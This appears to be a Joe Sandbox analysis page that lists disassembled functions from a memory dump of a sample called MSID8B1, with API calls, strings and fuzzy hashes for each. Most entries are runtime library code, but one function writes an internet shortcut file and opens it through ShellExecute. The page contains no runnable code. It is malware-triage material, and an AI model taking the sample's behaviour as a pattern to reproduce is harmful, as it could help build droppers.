Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 3babc3fb6d9dcca82f5815bd703ea2f4de16bf1b77088812fc70c88ac0ed2b35
Instruction ID: 97c5273caabd8559f3ebfd550b3fa5fb60be09be07715036be867fd19b4ee97a
Opcode Fuzzy Hash: 3babc3fb6d9dcca82f5815bd703ea2f4de16bf1b77088812fc70c88ac0ed2b35
Instruction Fuzzy Hash: FBE04F3268861CBBCF122F61EC08FAE3E66EF45752F104091FC0566160CF768920AAD5

Uniqueness

Uniqueness Score: -1.00%

Function 00B4353F Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0002354B,00B43077), ref: 00B43544

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 2ca8d73ed3f07329e5fdf45bf787c179e57c68db4d3263d918c8a909ef0f0502
Instruction ID: f3b9caef5f2db2e129a8777379a02e8144a43fb2bb12b6113107b6c7e2603784
Opcode Fuzzy Hash: 2ca8d73ed3f07329e5fdf45bf787c179e57c68db4d3263d918c8a909ef0f0502
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00B22310 Relevance: 1.3, APIs: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B42C98: EnterCriticalSection.KERNEL32(00B7DD3C,?,?,?,00B223B6,00B7E638,823FDEC6,?,?,00B63D6D,000000FF), ref: 00B42CA3
Part of subcall function 00B42C98: LeaveCriticalSection.KERNEL32(00B7DD3C,?,?,?,00B223B6,00B7E638,823FDEC6,?,?,00B63D6D,000000FF), ref: 00B42CE0

GetProcessHeap.KERNEL32 ref: 00B22365

Part of subcall function 00B42C4E: EnterCriticalSection.KERNEL32(00B7DD3C,?,?,00B22427,00B7E638,00B66B40), ref: 00B42C58
Part of subcall function 00B42C4E: LeaveCriticalSection.KERNEL32(00B7DD3C,?,?,00B22427,00B7E638,00B66B40), ref: 00B42C8B
Part of subcall function 00B42C4E: RtlWakeAllConditionVariable.NTDLL ref: 00B42D02

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionHeapProcessVariableWake
String ID:
API String ID: 325507722-0
Opcode ID: 9b921c0a7c79e5a34d224184ca8c4c03ff44c1c4bee2d9e1d21e38a2ffdd7073
Instruction ID: 1557506b53dbdb49484438133a7884d790e36a7fc2746ac9c3586255294d316b
Opcode Fuzzy Hash: 9b921c0a7c79e5a34d224184ca8c4c03ff44c1c4bee2d9e1d21e38a2ffdd7073
Instruction Fuzzy Hash: CA2157B1901200DBE710DF68ED4674977F0EB29B24F1082E9E43D9B2E0DB74DA84DB62

Uniqueness

Uniqueness Score: -1.00%

Function 00B50A48 Relevance: .7, Instructions: 655COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c8be701706672502347744ee385a29e4b982556497efb68b5e76dd04359ca494
Instruction ID: f0fa725a8f16b914c82db5e32ce0437bc8dd7a07d226460db3cc75805d256ec0
Opcode Fuzzy Hash: c8be701706672502347744ee385a29e4b982556497efb68b5e76dd04359ca494
Instruction Fuzzy Hash: F5328974A0021A8FCB28DF98C991BBEB7F5EF45305F2445E8DD41A7345D632AE4ACB80

Uniqueness

Uniqueness Score: -1.00%

Function 00B592A9 Relevance: .6, Instructions: 637COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b8823f9b6138c4c9ff0f391408e05ba7bac66dc44d118335791298c19cbc698
Instruction ID: 5842b30aed35f87e7903dccb5bdec73d7a6a4a3fba6798123bec498bb7e67c3b
Opcode Fuzzy Hash: 9b8823f9b6138c4c9ff0f391408e05ba7bac66dc44d118335791298c19cbc698
Instruction Fuzzy Hash: 1F32F321D29F418DD7235634DC62339A298AFB73C5F15D767E81AB6AAAEF6884C34100

Uniqueness

Uniqueness Score: -1.00%

Function 00B4A915 Relevance: .4, Instructions: 388COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4420db6cdaabf3eab84c2076deb9dd810405238e9baf0b4cda23d510a6ba968c
Instruction ID: 571566cfa7c012e6e25681d3d352553654bd5427784e8a0589722ed1a9039fed
Opcode Fuzzy Hash: 4420db6cdaabf3eab84c2076deb9dd810405238e9baf0b4cda23d510a6ba968c
Instruction Fuzzy Hash: 2BE1CF746806058FCB24CF68C580ABEB7F1FF49310F64869DD5969B691D730EE41EB12

Uniqueness

Uniqueness Score: -1.00%

Function 00B5D8D5 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: fab4e9b5d075ae36b33062621be7499090da8794fd02b45c60358bf2250df69c
Instruction ID: 5ca50f3c317b331166fefb7d080e6a8568e6362e83757491649dec6360d19455
Opcode Fuzzy Hash: fab4e9b5d075ae36b33062621be7499090da8794fd02b45c60358bf2250df69c
Instruction Fuzzy Hash: 33B1E5756007018BDB34AF24CC92BB7B3E9EF4430AF5446EDEE86C6580EA75E989C710

Uniqueness

Uniqueness Score: -1.00%

Function 00B4C2CA Relevance: .2, Instructions: 158COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d45df35f10881d6221681adf7eefdf880ea19ec113d03b89221ba79bb02f15a8
Instruction ID: 1eea0207bda22ea850d6118c1893400d868ce5e7ca0bc1e6f7de2c68ac8617ff
Opcode Fuzzy Hash: d45df35f10881d6221681adf7eefdf880ea19ec113d03b89221ba79bb02f15a8
Instruction Fuzzy Hash: 4E517371E01219AFDF54CF99C991AEEBFF1EF88310F198099E815AB201C7349E50DB55

Uniqueness

Uniqueness Score: -1.00%

Function 00B44920 Relevance: .1, Instructions: 76COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: d470a75320b3f868234e02234ac39660a0955c1a92eaec20eb4d7070c578d7ce
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: EB1108772011828BD604C62EC4B47B7E3D5EBC632576D43EAD0918B758D322AB65B600

Uniqueness

Uniqueness Score: -1.00%

Function 00B5AD78 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2864318f6dce3f34aa64f3b9f5968b0c36cd4cfae0ffe164939727a64b01d4d1
Instruction ID: 41ac98f661b1ca6629440fe53147b9cf726d5cc6177c2144863278d426814c2d
Opcode Fuzzy Hash: 2864318f6dce3f34aa64f3b9f5968b0c36cd4cfae0ffe164939727a64b01d4d1
Instruction Fuzzy Hash: 00E08C72A11238EBCB14EB98C914A8AF3FCEB84B02B1505EAF901E3650C270DE04D7D1

Uniqueness

Uniqueness Score: -1.00%

Function 00B52DCC Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3db29eff45ca403c5659c65b9b04778331e453842759ddf3eba89ef405327b8
Instruction ID: c3f0babf932bddf74b8dcec3b805dc229c6640ffd57e1192474bb11becac73fe
Opcode Fuzzy Hash: b3db29eff45ca403c5659c65b9b04778331e453842759ddf3eba89ef405327b8
Instruction Fuzzy Hash: 4AC08C35002E0046CE299A108AB13A833F4F796783F8006ECCC030BAC6C51EBC8FD601

Uniqueness

Uniqueness Score: -1.00%

Function 00B40116 Relevance: 30.3, APIs: 20, Instructions: 287COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B4011D
collate.LIBCPMT ref: 00B40126

Part of subcall function 00B3EDF2: __EH_prolog3_GS.LIBCMT ref: 00B3EDF9
Part of subcall function 00B3EDF2: __Getcoll.LIBCPMT ref: 00B3EE5D

__Getcoll.LIBCPMT ref: 00B4016C
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00B40180
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00B40195
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00B401D3
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00B401E6
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00B4022C
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00B40260
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00B4031B
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00B4032E
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00B4034B
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00B40368
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00B40385
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00B402BD

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

numpunct.LIBCPMT ref: 00B403C4
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00B403D4
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00B40418

Part of subcall function 00B26330: LocalAlloc.KERNELBASE(00000040,?,00B30E04,00000020,?,?,00B29942,00000000,823FDEC6,?,?,?,?,00B650DD,000000FF), ref: 00B26336

std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00B4042B
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00B40448

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: AddfacLocimp::_Locimp_std::locale::_$GetcollLockitstd::_$AllocH_prolog3H_prolog3_LocalLockit::_Lockit::~_collatenumpunct
String ID:
API String ID: 3717464618-0
Opcode ID: e2f44149b0af8edbc2340a605f7fcc44a978e4925b7ec4d6e70696673b2a7dec
Instruction ID: 6fd07e4c275f57f606bae2fc927caf61284a4bb6a2b3ca910dcea861176faa38
Opcode Fuzzy Hash: e2f44149b0af8edbc2340a605f7fcc44a978e4925b7ec4d6e70696673b2a7dec
Instruction Fuzzy Hash: 4D91F871D022216BE720BBB45C46B7F7AF8DF41360F1045EDFA1DAB281DB748A0097A6

Uniqueness

Uniqueness Score: -1.00%

Function 00B26600 Relevance: 30.1, APIs: 13, Strings: 4, Instructions: 319filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?), ref: 00B2667E
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 00B266D7
LocalAlloc.KERNEL32(00000040,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 00B266E2
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 00B266FE
WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,00B649E5,000000FF), ref: 00B267DB
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,00B649E5,000000FF), ref: 00B267E7
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,?,?,?,?,00B649E5), ref: 00B2682F
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,?,?,?,00B649E5,000000FF), ref: 00B2684A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,?,?,?,?,00B649E5), ref: 00B26867
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00B649E5,000000FF), ref: 00B26891
ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000005), ref: 00B268D8
ShellExecuteW.SHELL32(00000000,00000000,00000000,00000000,00000000,00000005), ref: 00B2692A
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,00B649E5,000000FF), ref: 00B2695C

Strings

[InternetShortcut]URL=, xrefs: 00B2670A
-_.~!*'();:@&=+$,/?#[], xrefs: 00B26757, 00B2676E
URL Shortcut content:, xrefs: 00B26875
open, xrefs: 00B268D1, 00B268F0

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: ByteCharLocalMultiWide$AllocExecuteFileFreeShell$CloseCreateHandleWrite
String ID: -_.~!*'();:@&=+$,/?#[]$URL Shortcut content:$[InternetShortcut]URL=$open
API String ID: 2199533872-3004881174
Opcode ID: 4fcd21025d2615d36abad80a585fdd9518a37852a4b99934cd2020eedd256a3f
Instruction ID: ffe6f690314e8471077797a420dfc936e94b0e925c3727001ccbc7e2c7c5f36f
Opcode Fuzzy Hash: 4fcd21025d2615d36abad80a585fdd9518a37852a4b99934cd2020eedd256a3f
Instruction Fuzzy Hash: C9B10371900268AFEB20DF64EC85BEEBBE4EF05700F1041A9E918AB2D1DB745E04C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00B42B8C Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00B7DD3C,00000FA0,?,?,00B42B6A), ref: 00B42B98
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00B42B6A), ref: 00B42BA3
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00B42B6A), ref: 00B42BB4
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00B42BC6
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00B42BD4
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00B42B6A), ref: 00B42BF7
DeleteCriticalSection.KERNEL32(00B7DD3C,00000007,?,?,00B42B6A), ref: 00B42C13
CloseHandle.KERNEL32(00000000,?,?,00B42B6A), ref: 00B42C23

Strings

WakeAllConditionVariable, xrefs: 00B42BCC
kernel32.dll, xrefs: 00B42BAF
SleepConditionVariableCS, xrefs: 00B42BC0
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00B42B9E

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 27db31f21c959c6c1da7cae4db1fbe47a795603bd47b0cbad4eaff4e90f807d6
Instruction ID: e6da331abe524e32809dc51d4d93fa7b3823a405c5a06d3d792fb7a862ece631
Opcode Fuzzy Hash: 27db31f21c959c6c1da7cae4db1fbe47a795603bd47b0cbad4eaff4e90f807d6
Instruction Fuzzy Hash: C901BC71A84711EBD6211F74AC09E1A3BE8DF41B80B1009A1FD09E32F0DEB8C840AAB0

Uniqueness

Uniqueness Score: -1.00%

Function 00B45CAF Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00B45DAC
type_info::operator==.LIBVCRUNTIME ref: 00B45DCE
___TypeMatch.LIBVCRUNTIME ref: 00B45EDD
IsInExceptionSpec.LIBVCRUNTIME ref: 00B45FAF
_UnwindNestedFrames.LIBCMT ref: 00B46033
CallUnexpected.LIBVCRUNTIME ref: 00B4604E

Strings

csm, xrefs: 00B45D59
csm, xrefs: 00B45CEC
csm, xrefs: 00B45E05

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: a5f58050c9823c2535c2995752470fc056aaba0b79eeb71552b8fe44f9125bba
Instruction ID: f23ca927412dc186d24afb761344b4ed158ef76a6d07174d5677848a24304946
Opcode Fuzzy Hash: a5f58050c9823c2535c2995752470fc056aaba0b79eeb71552b8fe44f9125bba
Instruction Fuzzy Hash: C2B14C71C00A09EFCF29DFA4C8859AEB7F5FF14310B1441AAE8156B212D731DB65EB92

Uniqueness

Uniqueness Score: -1.00%

Function 00B24270 Relevance: 15.1, APIs: 10, Instructions: 137timeCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000400,00000000,?,823FDEC6,?,?,?), ref: 00B242D2
OpenProcess.KERNEL32(00000400,00000000,?,?,823FDEC6,?,?,?), ref: 00B242F3
GetProcessTimes.KERNEL32(00000000,?,00000000,00000000,00000000,?,823FDEC6,?,?,?), ref: 00B24326
GetProcessTimes.KERNEL32(00000000,?,00000000,00000000,00000000,?,823FDEC6,?,?,?), ref: 00B24337
CloseHandle.KERNEL32(00000000,?,823FDEC6,?,?,?), ref: 00B24355
CloseHandle.KERNEL32(00000000,?,823FDEC6,?,?,?), ref: 00B24371
CloseHandle.KERNEL32(00000000,?,823FDEC6,?,?,?), ref: 00B24399
CloseHandle.KERNEL32(00000000,?,823FDEC6,?,?,?), ref: 00B243B5
CloseHandle.KERNEL32(00000000,?,823FDEC6,?,?,?), ref: 00B243D3
CloseHandle.KERNEL32(00000000,?,823FDEC6,?,?,?), ref: 00B243EF

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: CloseHandle$Process$OpenTimes
String ID:
API String ID: 1711917922-0
Opcode ID: a7f3fe8167830a47c2000b69fa58517bb746440c85f7910cfc2cfbb0c2ca7200
Instruction ID: 26da529038f54cb3f5eb57982a9b2dbe5af5d7e205f370f111ed73bbae022340
Opcode Fuzzy Hash: a7f3fe8167830a47c2000b69fa58517bb746440c85f7910cfc2cfbb0c2ca7200
Instruction Fuzzy Hash: E8516371D01218EBDB11CFA8D984BEEBBF8FF49714F244299E528B76C0C77459058B68

Uniqueness

Uniqueness Score: -1.00%

Function 00B3BBBD Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 325COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B3BBC4

Part of subcall function 00B3254E: __EH_prolog3.LIBCMT ref: 00B32555
Part of subcall function 00B3254E: std::_Lockit::_Lockit.LIBCPMT ref: 00B3255F
Part of subcall function 00B3254E: std::_Lockit::~_Lockit.LIBCPMT ref: 00B325D0

Strings

%b %d %H : %M : %S %Y, xrefs: 00B3BE52
%H : %M : %S, xrefs: 00B3BD5D
:AM:am:PM:pm, xrefs: 00B3BF2A
%I : %M : %S %p, xrefs: 00B3BF1F
%d / %m / %y, xrefs: 00B3BEFA
%m / %d / %y, xrefs: 00B3BCBB
%H : %M, xrefs: 00B3BD03

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: H_prolog3Lockitstd::_$Lockit::_Lockit::~_
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
